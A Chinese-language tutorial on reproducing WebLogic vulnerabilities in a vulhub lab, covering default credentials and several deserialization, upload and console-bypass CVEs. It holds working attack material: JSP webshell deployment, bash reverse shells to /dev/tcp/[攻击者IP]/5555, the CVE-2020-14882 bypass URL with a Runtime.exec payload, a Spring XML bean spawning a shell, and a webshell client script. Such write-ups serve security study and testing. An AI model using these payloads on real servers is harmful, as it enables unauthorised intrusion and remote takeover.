weblogic漏洞大杂烩
字数 2001 2025-08-05 00:16:03
WebLogic漏洞分析与复现指南
1. WebLogic简介
WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件应用服务器,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。它是商业市场上主要的Java(J2EE)应用服务器软件之一,也是世界上第一个成功商业化的J2EE应用服务器。
2. 环境搭建
2.1 基础环境准备
# 安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v # 查看是否安装成功
# 安装python和pip环境
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V # 查看是否安装成功
# 安装docker-compose
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
2.2 获取漏洞环境
git clone https://github.com/vulhub/vulhub.git
3. WebLogic弱口令漏洞
3.1 漏洞原理
在WebLogic搭建好后未修改后台默认密码,导致攻击者可以通过弱口令登录后台获取webshell。
3.2 漏洞复现步骤
- 访问
http://[目标IP]:7001/console进入登录页面 - 使用默认凭证
weblogic/Oracle@123登录后台 - 点击"部署"→"安装"→"上传文件"
- 准备一个包含JSP木马的war包:
jar -cvf aaa.war . - 上传war包并完成部署
- 使用冰蝎连接
http://[目标IP]:7001/aaa/shell.jsp
4. CVE-2017-3506 XMLDecoder反序列化漏洞
4.1 漏洞原理
在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析过程中导致XMLDecoder反序列化漏洞。
4.2 漏洞复现步骤
- 访问以下任意路径确认漏洞存在:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 - 抓包并在
<string></string>标签之间写入JSP路径和shell内容 - 使用冰蝎连接写入的shell
5. CVE-2017-10271 XMLDecoder反序列化漏洞
5.1 漏洞原理
CVE-2017-3506补丁仅过滤了object标签,攻击者使用void标签绕过补丁实现RCE。
5.2 漏洞复现步骤
- 访问
http://[目标IP]:7001/wls-wsat/CoordinatorPortType - 抓包并插入反弹shell命令:
<bin/bash -c bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1> - 在攻击机上使用nc监听5555端口获取shell
6. CVE-2019-2725 wls-wsat反序列化漏洞
6.1 漏洞原理
通过特定元素替换补丁限制的元素,绕过黑名单策略实现远程命令执行。
6.2 漏洞复现步骤
- 访问以下任意路径确认漏洞存在:
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https - 构造包含反弹shell命令的SOAP请求
- 使用nc监听获取反弹shell
7. CVE-2018-2628 WebLogic T3协议反序列化漏洞
7.1 漏洞原理
WebLogic Server的T3通讯协议实现中存在反序列化漏洞,攻击者通过T3协议执行反序列化操作,利用RMI机制的缺陷实现远程代码执行。
7.2 漏洞复现步骤
- 使用nmap扫描确认T3服务开启:
nmap -n -v -p 7001,7002 [目标IP] --script=weblogic-t3-info - 使用工具(如K8Weblogic.exe)上传shell
- 使用Python脚本获取交互式shell:
#!/usr/bin/env python # -*- coding: utf-8 -*- import base64 import requests def shell(url, cmd): all_url = url + "?tom=" + base64.b64encode(cmd) try: result = requests.get(all_url) if result.status_code == 200: print result.content except requests.ConnectionError, e: print e
8. CVE-2018-2894 WebLogic未授权访问漏洞
8.1 漏洞原理
开发环境下存在两个未授权页面(config.do和begin.do),可以上传任意文件。
8.2 漏洞复现步骤
方法一:通过config.do
- 进入后台启用Web服务测试页
- 访问
http://[目标IP]:7001/ws_utc/config.do - 设置目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css - 上传JSP文件并通过时间戳构造访问URL
方法二:通过begin.do
- 访问
http://[目标IP]:7001/ws_utc/begin.do - 上传JSP文件并通过网络请求获取路径
- 构造访问URL连接shell
9. CVE-2020-14882 WebLogic控制台权限绕过漏洞
9.1 漏洞原理
通过特殊构造的URL绕过权限验证访问控制台。
9.2 漏洞复现步骤
- 访问构造的URL进入后台:
http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 - 测试命令执行:
http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch/tmp/test%27);%22); - 创建XML文件远程加载执行反弹shell:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1]]></value> </list> </constructor-arg> </bean> </beans> - 访问加载XML的URL执行反弹shell
10. 总结
本文详细介绍了WebLogic常见的多种漏洞及其复现方法,包括:
- 弱口令漏洞
- XMLDecoder反序列化漏洞(CVE-2017-3506、CVE-2017-10271)
- wls-wsat反序列化漏洞(CVE-2019-2725)
- T3协议反序列化漏洞(CVE-2018-2628)
- 未授权访问漏洞(CVE-2018-2894)
- 控制台权限绕过漏洞(CVE-2020-14882)
在实际渗透测试中,应根据目标环境选择合适的漏洞利用方式,并注意漏洞的版本限制和利用条件。